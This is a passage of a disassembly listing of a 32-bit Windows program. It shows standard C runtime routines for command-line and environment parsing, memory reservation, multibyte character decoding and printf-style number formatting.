loc_44A59E: ; CODE XREF: sub_44A4E1+AEj
cmp byte ptr [ebx], 0
jz loc_44A667
cmp [ebp+arg_4], 0
jz short loc_44A5B8
mov eax, [ebp+arg_4]
lea edx, [eax+4]
mov [ebp+arg_4], edx
mov [eax], ecx
loc_44A5B8: ; CODE XREF: sub_44A4E1+CAj
mov eax, [ebp+arg_C]
inc dword ptr [eax]
loc_44A5BD: ; CODE XREF: sub_44A4E1+16Dj
mov [ebp+var_4], 1
xor edi, edi
jmp short loc_44A5CA
; ---------------------------------------------------------------------------
loc_44A5C8: ; CODE XREF: sub_44A4E1+ECj
inc ebx
inc edi
loc_44A5CA: ; CODE XREF: sub_44A4E1+E5j
cmp byte ptr [ebx], 5Ch
jz short loc_44A5C8
cmp byte ptr [ebx], 22h
jnz short loc_44A61A
test edi, 1
jnz short loc_44A607
cmp [ebp+var_8], 0
jz short loc_44A5F4
cmp byte ptr [ebx+1], 22h
jnz short loc_44A5EB
inc ebx
jmp short loc_44A5FB
; ---------------------------------------------------------------------------
loc_44A5EB: ; CODE XREF: sub_44A4E1+105j
mov [ebp+var_4], 0
jmp short loc_44A5FB
; ---------------------------------------------------------------------------
loc_44A5F4: ; CODE XREF: sub_44A4E1+FFj
mov [ebp+var_4], 0
loc_44A5FB: ; CODE XREF: sub_44A4E1+108j
; sub_44A4E1+111j
xor eax, eax
cmp [ebp+var_8], 0
setz al
mov [ebp+var_8], eax
loc_44A607: ; CODE XREF: sub_44A4E1+F9j
shr edi, 1
jmp short loc_44A61A
; ---------------------------------------------------------------------------
loc_44A60B: ; CODE XREF: sub_44A4E1+13Ej
test ecx, ecx
jz short loc_44A615
mov eax, ecx
inc ecx
mov byte ptr [eax], 5Ch
loc_44A615: ; CODE XREF: sub_44A4E1+12Cj
mov eax, [ebp+arg_10]
inc dword ptr [eax]
loc_44A61A: ; CODE XREF: sub_44A4E1+F1j
; sub_44A4E1+128j
mov eax, edi
dec edi
test eax, eax
jnz short loc_44A60B
mov al, [ebx]
test al, al
jz short loc_44A635
cmp [ebp+var_8], 0
jnz short loc_44A637
cmp al, 20h
jz short loc_44A635
cmp al, 9
jnz short loc_44A637
loc_44A635: ; CODE XREF: sub_44A4E1+144j
; sub_44A4E1+14Ej
jmp short loc_44A653
; ---------------------------------------------------------------------------
loc_44A637: ; CODE XREF: sub_44A4E1+14Aj
; sub_44A4E1+152j
cmp [ebp+var_4], 0
jz short loc_44A64D
test ecx, ecx
jz short loc_44A648
mov eax, ecx
inc ecx
mov dl, [ebx]
mov [eax], dl
loc_44A648: ; CODE XREF: sub_44A4E1+15Ej
mov eax, [ebp+arg_10]
inc dword ptr [eax]
loc_44A64D: ; CODE XREF: sub_44A4E1+15Aj
inc ebx
jmp loc_44A5BD
; ---------------------------------------------------------------------------
loc_44A653: ; CODE XREF: sub_44A4E1:loc_44A635j
test ecx, ecx
jz short loc_44A65D
mov eax, ecx
inc ecx
mov byte ptr [eax], 0
loc_44A65D: ; CODE XREF: sub_44A4E1+174j
mov eax, [ebp+arg_10]
inc dword ptr [eax]
jmp loc_44A58C
; ---------------------------------------------------------------------------
loc_44A667: ; CODE XREF: sub_44A4E1+C0j
cmp [ebp+arg_4], 0
jz short loc_44A67C
mov eax, [ebp+arg_4]
lea edx, [eax+4]
mov [ebp+arg_4], edx
mov dword ptr [eax], 0
loc_44A67C: ; CODE XREF: sub_44A4E1+18Aj
mov eax, [ebp+arg_C]
inc dword ptr [eax]
pop edi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44A4E1 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44A691 proc near ; CODE XREF: DMN1:00448A8Ap
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10Ch
push ebx
push esi
call dword_411D90 ; GetCommandLineA
mov esi, eax
cmp byte ptr [esi], 0
jnz short loc_44A6C3
push 104h
lea eax, [ebp+var_10C]
push eax
push 0
call dword_411CDC ; GetModuleFileNameA
lea esi, [ebp+var_10C]
loc_44A6C3: ; CODE XREF: sub_44A691+16j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0
push esi
call sub_44A4E1
add esp, 14h
mov eax, [ebp+var_4]
mov edx, [ebp+var_8]
lea eax, [edx+eax*4]
push eax
call sub_449121
pop ecx
mov ebx, eax
test ebx, ebx
jnz short loc_44A6F6
push 1
call sub_44A111
pop ecx
loc_44A6F6: ; CODE XREF: sub_44A691+5Bj
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [ebx+eax*4]
push eax
push ebx
push esi
call sub_44A4E1
add esp, 14h
mov eax, [ebp+var_4]
dec eax
mov dword_4117C4, eax
mov dword_4117C8, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44A691 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
db 8Dh, 0BCh, 27h, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44A731 proc near ; CODE XREF: DMN1:00448A8Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
call dword_411DF8 ; GetEnvironmentStrings
mov [ebp+var_8], eax
test eax, eax
jnz short loc_44A74F
mov eax, off_411894
mov [ebp+var_8], eax
loc_44A74F: ; CODE XREF: sub_44A731+14j
mov [ebp+var_4], 0
mov ebx, [ebp+var_8]
jmp short loc_44A774
; ---------------------------------------------------------------------------
loc_44A75B: ; CODE XREF: sub_44A731+46j
mov edx, ebx
or eax, 0FFFFFFFFh
loc_44A760: ; CODE XREF: sub_44A731+34j
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_44A760
lea esi, [eax+1]
cmp byte ptr [ebx], 3Dh
jz short loc_44A772
add [ebp+var_4], esi
loc_44A772: ; CODE XREF: sub_44A731+3Cj
add ebx, esi
loc_44A774: ; CODE XREF: sub_44A731+28j
cmp byte ptr [ebx], 0
jnz short loc_44A75B
mov eax, [ebp+var_4]
inc eax
push eax
call sub_449121
pop ecx
mov edi, eax
mov dword_4117D0, eax
cmp dword_4117D0, 0
jnz short loc_44A79C
push 1
call sub_44A111
pop ecx
loc_44A79C: ; CODE XREF: sub_44A731+61j
mov ebx, [ebp+var_8]
jmp short loc_44A7CB
; ---------------------------------------------------------------------------
loc_44A7A1: ; CODE XREF: sub_44A731+9Dj
mov edx, ebx
or eax, 0FFFFFFFFh
loc_44A7A6: ; CODE XREF: sub_44A731+7Aj
inc eax
cmp byte ptr [edx+eax], 0
jnz short loc_44A7A6
lea esi, [eax+1]
cmp byte ptr [ebx], 3Dh
jz short loc_44A7C9
mov ecx, edi
mov edx, ebx
push ecx
sub ecx, edx
loc_44A7BC: ; CODE XREF: sub_44A731+93j
mov al, [edx]
mov [ecx+edx], al
inc edx
test al, al
jnz short loc_44A7BC
pop eax
add edi, esi
loc_44A7C9: ; CODE XREF: sub_44A731+82j
add ebx, esi
loc_44A7CB: ; CODE XREF: sub_44A731+6Ej
cmp byte ptr [ebx], 0
jnz short loc_44A7A1
mov byte ptr [edi], 0
mov eax, off_411894
cmp eax, [ebp+var_8]
jz short loc_44A7E7
mov eax, [ebp+var_8]
push eax
call dword_411DFC ; FreeEnvironmentStringsA
loc_44A7E7: ; CODE XREF: sub_44A731+AAj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44A731 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; =============== S U B R O U T I N E =======================================
sub_44A7F1 proc near ; CODE XREF: DMN1:00448AC4p
push ebx
call dword_411D90 ; GetCommandLineA
mov ebx, eax
cmp byte ptr [ebx], 22h
jnz short loc_44A815
loc_44A7FF: ; CODE XREF: sub_44A7F1+19j
inc ebx
mov eax, ebx
cmp byte ptr [eax], 22h
jz short loc_44A80C
cmp byte ptr [ebx], 0
jnz short loc_44A7FF
loc_44A80C: ; CODE XREF: sub_44A7F1+14j
cmp byte ptr [ebx], 22h
jnz short loc_44A81D
inc ebx
jmp short loc_44A81D
; ---------------------------------------------------------------------------
loc_44A814: ; CODE XREF: sub_44A7F1+27j
inc ebx
loc_44A815: ; CODE XREF: sub_44A7F1+Cj
cmp byte ptr [ebx], 20h
ja short loc_44A814
jmp short loc_44A81D
; ---------------------------------------------------------------------------
loc_44A81C: ; CODE XREF: sub_44A7F1+34j
inc ebx
loc_44A81D: ; CODE XREF: sub_44A7F1+1Ej
; sub_44A7F1+21j ...
mov al, [ebx]
test al, al
jz short loc_44A827
cmp al, 20h
jbe short loc_44A81C
loc_44A827: ; CODE XREF: sub_44A7F1+30j
mov eax, ebx
pop ebx
retn
sub_44A7F1 endp
; ---------------------------------------------------------------------------
db 8Dh, 0BFh, 4 dup(0)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44A831 proc near ; CODE XREF: sub_448B51+21p
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
cmp dword_4117D8, 0
jnz short loc_44A864
push 1
push 2000h
mov eax, dword_4117DC
push eax
push 0
call dword_411E00 ; VirtualAlloc
mov dword_4117D8, eax
test eax, eax
jz short loc_44A8C7
loc_44A864: ; CODE XREF: sub_44A831+13j
push 1Ch
lea eax, [ebp+var_1C]
push eax
mov eax, dword_4117D8
push eax
call dword_411E04 ; VirtualQuery
test eax, eax
jz short loc_44A8C7
cmp [ebp+var_C], 1000h
jnz short loc_44A891
mov eax, [ebp+var_10]
mov edx, dword_4117D8
lea edi, [edx+eax]
jmp short loc_44A897
; ---------------------------------------------------------------------------
loc_44A891: ; CODE XREF: sub_44A831+50j
mov edi, dword_4117D8
loc_44A897: ; CODE XREF: sub_44A831+5Ej
mov esi, edi
lea eax, [esi+ebx]
mov edx, dword_4117DC
mov ecx, dword_4117D8
add edx, ecx
cmp eax, edx
jb short loc_44A8B2
xor eax, eax
jmp short loc_44A8C7
; ---------------------------------------------------------------------------
loc_44A8B2: ; CODE XREF: sub_44A831+7Bj
push 4
push 1000h
push ebx
push esi
call dword_411E00 ; VirtualAlloc
test eax, eax
jz short loc_44A8C7
mov eax, esi
loc_44A8C7: ; CODE XREF: sub_44A831+31j
; sub_44A831+47j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_44A831 endp
; ---------------------------------------------------------------------------
db 8Dh, 7Fh, 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44A8D1 proc near ; CODE XREF: sub_449761+44p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_3 = byte ptr -3
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
mov eax, [ebp+arg_C]
movzx eax, word ptr [eax+6]
mov [ebp+var_3], al
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov eax, [ebp+arg_C]
mov eax, [eax]
mov [ebp+var_2], ax
cmp off_411924, 0
jnz loc_44AA4C
cmp [ebp+arg_4], 0
jnz short loc_44A91F
mov eax, [ebp+arg_C]
mov ecx, dword_40FB38
mov ebx, dword_40FB3C
mov [eax], ecx
mov [eax+4], ebx
xor eax, eax
jmp loc_44ABAB
; ---------------------------------------------------------------------------
loc_44A91F: ; CODE XREF: sub_44A8D1+31j
; sub_44A8D1+176j
cmp [ebp+arg_8], 0
jnz short loc_44A943
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_2]
mov [edx], eax
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_3]
mov [edx+6], ax
mov eax, 0FFFFFFFEh
jmp loc_44ABAB
; ---------------------------------------------------------------------------
loc_44A943: ; CODE XREF: sub_44A8D1+52j
cmp [ebp+var_3], 0
jbe short loc_44A98A
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0C0h
cmp eax, 80h
jz short loc_44A96E
call sub_449321
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_44ABAB
; ---------------------------------------------------------------------------
loc_44A96E: ; CODE XREF: sub_44A8D1+88j
movzx eax, [ebp+var_2]
shl eax, 6
mov edx, [ebp+var_8]
movzx edx, byte ptr [edx]
and edx, 3Fh
or eax, edx
mov [ebp+var_2], ax
sub [ebp+var_3], 1
jmp short loc_44A9FB
; ---------------------------------------------------------------------------
loc_44A98A: ; CODE XREF: sub_44A8D1+76j
mov eax, [ebp+var_8]
test byte ptr [eax], 80h
jnz short loc_44A99E
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
mov [ebp+var_2], ax
jmp short loc_44A9FB
; ---------------------------------------------------------------------------
loc_44A99E: ; CODE XREF: sub_44A8D1+BFj
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0E0h
cmp eax, 0C0h
jnz short loc_44A9C3
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 1Fh
mov [ebp+var_2], ax
mov [ebp+var_3], 1
jmp short loc_44A9FB
; ---------------------------------------------------------------------------
loc_44A9C3: ; CODE XREF: sub_44A8D1+DDj
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0F0h
cmp eax, 0E0h
jnz short loc_44A9E8
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
and eax, 0Fh
mov [ebp+var_2], ax
mov [ebp+var_3], 2
jmp short loc_44A9FB
; ---------------------------------------------------------------------------
loc_44A9E8: ; CODE XREF: sub_44A8D1+102j
call sub_449321
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_44ABAB
; ---------------------------------------------------------------------------
loc_44A9FB: ; CODE XREF: sub_44A8D1+B7j
; sub_44A8D1+CBj ...
cmp [ebp+var_3], 0
jnz short loc_44AA41
cmp [ebp+arg_0], 0
jz short loc_44AA11
mov edx, [ebp+arg_0]
mov ax, [ebp+var_2]
mov [edx], ax
loc_44AA11: ; CODE XREF: sub_44A8D1+134j
mov edx, [ebp+arg_C]
mov word ptr [edx+6], 0
cmp [ebp+var_2], 0
jnz short loc_44AA2A
mov [ebp+var_C], 0
jmp short loc_44AA39
; ---------------------------------------------------------------------------
loc_44AA2A: ; CODE XREF: sub_44A8D1+14Ej
mov eax, [ebp+var_8]
inc eax
mov [ebp+var_8], eax
mov edx, [ebp+arg_4]
sub eax, edx
mov [ebp+var_C], eax
loc_44AA39: ; CODE XREF: sub_44A8D1+157j
mov eax, [ebp+var_C]
jmp loc_44ABAB
; ---------------------------------------------------------------------------
loc_44AA41: ; CODE XREF: sub_44A8D1+12Ej
inc [ebp+var_8]
dec [ebp+arg_8]
jmp loc_44A91F
; ---------------------------------------------------------------------------
loc_44AA4C: ; CODE XREF: sub_44A8D1+27j
mov [ebp+var_C], 0
cmp [ebp+arg_4], 0
jnz short loc_44AA7F
mov eax, [ebp+arg_C]
mov ecx, dword_40FB38
mov ebx, dword_40FB3C
mov [eax], ecx
mov [eax+4], ebx
mov eax, off_411924
movzx eax, word ptr [eax]
and eax, 0F00h
jmp loc_44ABAB
; ---------------------------------------------------------------------------
loc_44AA7F: ; CODE XREF: sub_44A8D1+186j
; sub_44A8D1+292j
cmp [ebp+arg_8], 0
jnz short loc_44AAA3
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_2]
mov [edx], eax
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_3]
mov [edx+6], ax
mov eax, 0FFFFFFFEh
jmp loc_44ABAB
; ---------------------------------------------------------------------------
loc_44AAA3: ; CODE XREF: sub_44A8D1+1B2j
mov al, [ebp+var_3]
cmp al, 10h
jnb short loc_44AADF
movzx eax, al
mov eax, off_411924[eax*4]
mov [ebp+var_14], eax
test eax, eax
jz short loc_44AADF
mov eax, [ebp+var_C]
inc eax
mov [ebp+var_C], eax
cmp eax, 0FF0h
jge short loc_44AADF
mov eax, [ebp+var_8]
movzx eax, byte ptr [eax]
mov edx, [ebp+var_14]
mov ax, [edx+eax*2]
mov [ebp+var_E], ax
test ax, ax
jnz short loc_44AAF2
loc_44AADF: ; CODE XREF: sub_44A8D1+1D7j
; sub_44A8D1+1E8j ...
call sub_449321
mov dword ptr [eax], 2Ah
or eax, 0FFFFFFFFh
jmp loc_44ABAB
; ---------------------------------------------------------------------------
loc_44AAF2: ; CODE XREF: sub_44A8D1+20Cj
movzx eax, [ebp+var_E]
mov edx, eax
and edx, 0F00h
sar edx, 8
mov [ebp+var_3], dl
test eax, 8000h
jz short loc_44AB1E
movzx eax, [ebp+var_2]
and eax, 0FFFFFF00h
movzx edx, byte ptr [ebp+var_E]
or eax, edx
mov [ebp+var_2], ax
loc_44AB1E: ; CODE XREF: sub_44A8D1+238j
test [ebp+var_E], 1000h
jz short loc_44AB40
movzx eax, [ebp+var_2]
mov edx, eax
shl edx, 8
sar eax, 8
and eax, 0FFh
or edx, eax
mov ax, dx
mov [ebp+var_2], ax
loc_44AB40: ; CODE XREF: sub_44A8D1+253j
test [ebp+var_E], 4000h
jz short loc_44AB5D
mov eax, [ebp+var_8]
cmp byte ptr [eax], 0
jz short loc_44AB5D
inc [ebp+var_8]
dec [ebp+arg_8]
mov [ebp+var_C], 0
loc_44AB5D: ; CODE XREF: sub_44A8D1+275j
; sub_44A8D1+27Dj
test [ebp+var_E], 2000h
jz loc_44AA7F
cmp [ebp+arg_0], 0
jz short loc_44AB79
mov edx, [ebp+arg_0]
mov ax, [ebp+var_2]
mov [edx], ax
loc_44AB79: ; CODE XREF: sub_44A8D1+29Cj
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_2]
mov [edx], eax
mov edx, [ebp+arg_C]
movzx eax, [ebp+var_3]
mov [edx+6], ax
cmp [ebp+var_2], 0
jnz short loc_44AB9D
mov [ebp+var_18], 0
jmp short loc_44ABA8
; ---------------------------------------------------------------------------
loc_44AB9D: ; CODE XREF: sub_44A8D1+2C1j
mov eax, [ebp+var_8]
mov edx, [ebp+arg_4]
sub eax, edx
mov [ebp+var_18], eax
loc_44ABA8: ; CODE XREF: sub_44A8D1+2CAj
mov eax, [ebp+var_18]
loc_44ABAB: ; CODE XREF: sub_44A8D1+49j
; sub_44A8D1+6Dj ...
pop ebx
mov esp, ebp
pop ebp
retn
sub_44A8D1 endp
; ---------------------------------------------------------------------------
db 90h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44ABB1 proc near ; CODE XREF: sub_449761+243p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = qword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 38h
push ebx
movzx eax, [ebp+arg_8]
mov [ebp+var_4], eax
cmp eax, 41h
jl short loc_44ABD0
cmp eax, 47h
jg short loc_44ABDF
jmp dword_40FC40[eax*4]
; ---------------------------------------------------------------------------
loc_44ABD0: ; CODE XREF: sub_44ABB1+11j
cmp [ebp+var_4], 25h
jz loc_44B2A3
jmp loc_44B2B8
; ---------------------------------------------------------------------------
loc_44ABDF: ; CODE XREF: sub_44ABB1+16j
mov eax, [ebp+var_4]
cmp eax, 58h
jz loc_44AE14
jl loc_44B2B8
mov eax, [ebp+var_4]
cmp eax, 61h
jl loc_44B2B8
cmp eax, 78h
jg loc_44B2B8
jmp dword_40FBDC[eax*4]
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jz short loc_44AC3A
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_4]
mov ecx, [eax]
add ecx, 4
mov [eax], ecx
mov eax, [ebp+arg_C]
mov ecx, [ecx-4]
mov [eax+edx], cl
jmp loc_44B2E3
; ---------------------------------------------------------------------------
loc_44AC3A: ; CODE XREF: sub_44ABB1+63j
mov eax, [ebp+arg_4]
mov edx, [eax]
add edx, 4
mov [eax], edx
mov eax, [edx-4]
mov [ebp+var_6], ax
mov [ebp+var_A], ax
mov [ebp+var_8], 0
mov edx, [ebp+arg_0]
or dword ptr [edx+2Ch], 0FFFFFFFFh
lea eax, [ebp+var_A]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44BE31
add esp, 8
test eax, eax
jge loc_44B2E3
or eax, 0FFFFFFFFh
jmp loc_44B2E5
; ---------------------------------------------------------------------------
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jnz short loc_44ACA1
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
jmp short loc_44AD15
; ---------------------------------------------------------------------------
loc_44ACA1: ; CODE XREF: sub_44ABB1+D2j
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 71h
jnz short loc_44ACC2
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
jmp short loc_44AD09
; ---------------------------------------------------------------------------
loc_44ACC2: ; CODE XREF: sub_44ABB1+F7j
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 6Ah
jnz short loc_44ACE3
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
jmp short loc_44ACFD
; ---------------------------------------------------------------------------
loc_44ACE3: ; CODE XREF: sub_44ABB1+118j
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
loc_44ACFD: ; CODE XREF: sub_44ABB1+130j
mov ecx, [ebp+var_10]
mov ebx, [ebp-0Ch]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
loc_44AD09: ; CODE XREF: sub_44ABB1+10Fj
mov ecx, [ebp+var_10]
mov ebx, [ebp-0Ch]
mov [ebp+var_10], ecx
mov [ebp-0Ch], ebx
loc_44AD15: ; CODE XREF: sub_44ABB1+EEj
mov ecx, [ebp+var_10]
mov ebx, [ebp-0Ch]
mov [eax], ecx
mov [eax+4], ebx
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 68h
jnz short loc_44AD45
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov dx, cx
movsx edx, dx
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_44AD8B
; ---------------------------------------------------------------------------
loc_44AD45: ; CODE XREF: sub_44ABB1+176j
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 62h
jnz short loc_44AD69
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov dl, cl
movsx edx, dl
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_44AD8B
; ---------------------------------------------------------------------------
loc_44AD69: ; CODE XREF: sub_44ABB1+19Bj
mov eax, [ebp+arg_0]
mov al, [eax+3Ah]
cmp al, 74h
jz short loc_44AD77
cmp al, 7Ah
jnz short loc_44AD8B
loc_44AD77: ; CODE XREF: sub_44ABB1+1C0j
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
loc_44AD8B: ; CODE XREF: sub_44ABB1+192j
; sub_44ABB1+1B6j ...
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jg short loc_44ADB2
jl short loc_44AD9D
test eax, eax
jnb short loc_44ADB2
loc_44AD9D: ; CODE XREF: sub_44ABB1+1E6j
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Dh
jmp short loc_44ADF0
; ---------------------------------------------------------------------------
loc_44ADB2: ; CODE XREF: sub_44ABB1+1E4j
; sub_44ABB1+1EAj
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 2
jz short loc_44ADD2
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 2Bh
jmp short loc_44ADF0
; ---------------------------------------------------------------------------
loc_44ADD2: ; CODE XREF: sub_44ABB1+20Aj
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 1
jz short loc_44ADF0
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
lea ecx, [edx+1]
mov [eax+14h], ecx
mov eax, [ebp+arg_C]
mov byte ptr [eax+edx], 20h
loc_44ADF0: ; CODE XREF: sub_44ABB1+1FFj
; sub_44ABB1+21Fj ...
mov eax, [ebp+arg_0]
mov edx, [eax+14h]
mov ecx, [ebp+arg_C]
add edx, ecx
mov [eax+10h], edx
movzx eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_44BF81
add esp, 8
jmp loc_44B2E3
; ---------------------------------------------------------------------------
loc_44AE14: ; CODE XREF: sub_44ABB1+34j
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 6Ch
jnz short loc_44AE36
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
xor ebx, ebx
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
jmp short loc_44AEA7
; ---------------------------------------------------------------------------
loc_44AE36: ; CODE XREF: sub_44ABB1+26Aj
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 71h
jnz short loc_44AE57
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
jmp short loc_44AE9B
; ---------------------------------------------------------------------------
loc_44AE57: ; CODE XREF: sub_44ABB1+28Cj
mov edx, [ebp+arg_0]
cmp byte ptr [edx+3Ah], 6Ah
jnz short loc_44AE78
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 8
mov [edx], ecx
mov ebx, [ecx-4]
mov ecx, [ecx-8]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
jmp short loc_44AE8F
; ---------------------------------------------------------------------------
loc_44AE78: ; CODE XREF: sub_44ABB1+2ADj
mov edx, [ebp+arg_4]
mov ecx, [edx]
add ecx, 4
mov [edx], ecx
mov edx, [ecx-4]
mov ecx, edx
xor ebx, ebx
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
loc_44AE8F: ; CODE XREF: sub_44ABB1+2C5j
mov ecx, [ebp+var_18]
mov ebx, [ebp+var_14]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
loc_44AE9B: ; CODE XREF: sub_44ABB1+2A4j
mov ecx, [ebp+var_18]
mov ebx, [ebp+var_14]
mov [ebp+var_18], ecx
mov [ebp+var_14], ebx
loc_44AEA7: ; CODE XREF: sub_44ABB1+283j
mov ecx, [ebp+var_18]
mov ebx, [ebp+var_14]
mov [eax], ecx
mov [eax+4], ebx
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 68h
jnz short loc_44AED6
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
movzx edx, dx
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_44AF19
; ---------------------------------------------------------------------------
loc_44AED6: ; CODE XREF: sub_44ABB1+308j
mov eax, [ebp+arg_0]
cmp byte ptr [eax+3Ah], 62h
jnz short loc_44AEFA
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
movzx edx, dl
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov [eax], ecx
mov [eax+4], ebx
jmp short loc_44AF19
; ---------------------------------------------------------------------------
loc_44AEFA: ; CODE XREF: sub_44ABB1+32Cj
mov eax, [ebp+arg_0]
mov al, [eax+3Ah]
cmp al, 74h
jz short loc_44AF08
cmp al, 7Ah
jnz short loc_44AF19
loc_44AF08: ; CODE XREF: sub_44ABB1+351j
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ebx, [eax+4]
mov edx, ecx
xor ebx, ebx
mov [eax], ecx
mov [eax+4], ebx
loc_44AF19: ; CODE XREF: sub_44ABB1+323j
; sub_44ABB1+347j ...
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 8
jz short loc_44AF64
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
